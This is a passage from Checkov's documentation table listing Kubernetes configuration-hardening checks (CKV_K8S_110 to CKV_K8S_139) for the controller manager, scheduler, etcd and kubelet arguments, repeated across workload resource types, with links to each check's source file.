argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 675 | CKV_K8S_110 | resource | Pod | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 676 | CKV_K8S_110 | resource | PodTemplate | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 677 | CKV_K8S_110 | resource | ReplicaSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 678 | CKV_K8S_110 | resource | ReplicationController | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 679 | CKV_K8S_110 | resource | StatefulSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 680 | CKV_K8S_111 | resource | CronJob | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 681 | CKV_K8S_111 | resource | DaemonSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 682 | CKV_K8S_111 | resource | Deployment | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 683 | CKV_K8S_111 | resource | DeploymentConfig | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 684 | CKV_K8S_111 | resource | Job | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 685 | CKV_K8S_111 | resource | Pod | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 686 | CKV_K8S_111 | resource | PodTemplate | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 687 | CKV_K8S_111 | resource | ReplicaSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 688 | CKV_K8S_111 | resource | ReplicationController | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 689 | CKV_K8S_111 | resource | StatefulSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 690 | CKV_K8S_112 | resource | CronJob | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 691 | CKV_K8S_112 | resource | DaemonSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 692 | CKV_K8S_112 | resource | Deployment | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 693 | CKV_K8S_112 | resource | DeploymentConfig | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 694 | CKV_K8S_112 | resource | Job | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 695 | CKV_K8S_112 | resource | Pod | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 696 | CKV_K8S_112 | resource | PodTemplate | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 697 | CKV_K8S_112 | resource | ReplicaSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 698 | CKV_K8S_112 | resource | ReplicationController | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 699 | CKV_K8S_112 | resource | StatefulSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 700 | CKV_K8S_113 | resource | CronJob | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 701 | CKV_K8S_113 | resource | DaemonSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 702 | CKV_K8S_113 | resource | Deployment | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 703 | CKV_K8S_113 | resource | DeploymentConfig | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 704 | CKV_K8S_113 | resource | Job | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 705 | CKV_K8S_113 | resource | Pod | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 706 | CKV_K8S_113 | resource | PodTemplate | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 707 | CKV_K8S_113 | resource | ReplicaSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 708 | CKV_K8S_113 | resource | ReplicationController | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 709 | CKV_K8S_113 | resource | StatefulSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 710 | CKV_K8S_114 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 711 | CKV_K8S_114 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 712 | CKV_K8S_114 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 713 | CKV_K8S_114 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 714 | CKV_K8S_114 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 715 | CKV_K8S_114 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 716 | CKV_K8S_114 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 717 | CKV_K8S_114 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 718 | CKV_K8S_114 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 719 | CKV_K8S_114 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 720 | CKV_K8S_115 | resource | CronJob | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 721 | CKV_K8S_115 | resource | DaemonSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 722 | CKV_K8S_115 | resource | Deployment | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 723 | CKV_K8S_115 | resource | DeploymentConfig | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 724 | CKV_K8S_115 | resource | Job | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 725 | CKV_K8S_115 | resource | Pod | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 726 | CKV_K8S_115 | resource | PodTemplate | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 727 | CKV_K8S_115 | resource | ReplicaSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 728 | CKV_K8S_115 | resource | ReplicationController | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 729 | CKV_K8S_115 | resource | StatefulSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 730 | CKV_K8S_116 | resource | CronJob | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 731 | CKV_K8S_116 | resource | DaemonSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 732 | CKV_K8S_116 | resource | Deployment | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 733 | CKV_K8S_116 | resource | DeploymentConfig | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 734 | CKV_K8S_116 | resource | Job | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 735 | CKV_K8S_116 | resource | Pod | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 736 | CKV_K8S_116 | resource | PodTemplate | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 737 | CKV_K8S_116 | resource | ReplicaSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 738 | CKV_K8S_116 | resource | ReplicationController | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 739 | CKV_K8S_116 | resource | StatefulSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 740 | CKV_K8S_117 | resource | CronJob | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 741 | CKV_K8S_117 | resource | DaemonSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 742 | CKV_K8S_117 | resource | Deployment | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 743 | CKV_K8S_117 | resource | DeploymentConfig | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 744 | CKV_K8S_117 | resource | Job | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 745 | CKV_K8S_117 | resource | Pod | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 746 | CKV_K8S_117 | resource | PodTemplate | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 747 | CKV_K8S_117 | resource | ReplicaSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 748 | CKV_K8S_117 | resource | ReplicationController | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 749 | CKV_K8S_117 | resource | StatefulSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 750 | CKV_K8S_118 | resource | CronJob | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 751 | CKV_K8S_118 | resource | DaemonSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 752 | CKV_K8S_118 | resource | Deployment | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 753 | CKV_K8S_118 | resource | DeploymentConfig | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 754 | CKV_K8S_118 | resource | Job | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 755 | CKV_K8S_118 | resource | Pod | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 756 | CKV_K8S_118 | resource | PodTemplate | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 757 | CKV_K8S_118 | resource | ReplicaSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 758 | CKV_K8S_118 | resource | ReplicationController | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 759 | CKV_K8S_118 | resource | StatefulSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 760 | CKV_K8S_119 | resource | CronJob | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 761 | CKV_K8S_119 | resource | DaemonSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 762 | CKV_K8S_119 | resource | Deployment | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 763 | CKV_K8S_119 | resource | DeploymentConfig | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 764 | CKV_K8S_119 | resource | Job | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 765 | CKV_K8S_119 | resource | Pod | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 766 | CKV_K8S_119 | resource | PodTemplate | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 767 | CKV_K8S_119 | resource | ReplicaSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 768 | CKV_K8S_119 | resource | ReplicationController | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 769 | CKV_K8S_119 | resource | StatefulSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 770 | CKV_K8S_121 | resource | Pod | Ensure that the --peer-client-cert-auth argument is set to true | Kubernetes | [PeerClientCertAuthTrue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py) | | 771 | CKV_K8S_138 | resource | CronJob | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 772 | CKV_K8S_138 | resource | DaemonSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 773 | CKV_K8S_138 | resource | Deployment | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 774 | CKV_K8S_138 | resource | DeploymentConfig | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 775 | CKV_K8S_138 | resource | Job | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 776 | CKV_K8S_138 | resource | Pod | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 777 | CKV_K8S_138 | resource | PodTemplate | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 778 | CKV_K8S_138 | resource | ReplicaSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 779 | CKV_K8S_138 | resource | ReplicationController | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 780 | CKV_K8S_138 | resource | StatefulSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 781 | CKV_K8S_139 | resource | CronJob | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 782 | CKV_K8S_139 | resource | DaemonSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 783 | CKV_K8S_139 | resource | Deployment | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 784 | CKV_K8S_139 | resource | DeploymentConfig | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 785 | CKV_K8S_139 | resource | Job | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 786 | CKV_K8S_139 | resource | Pod | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 787 | CKV_K8S_139 | resource | PodTemplate | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | 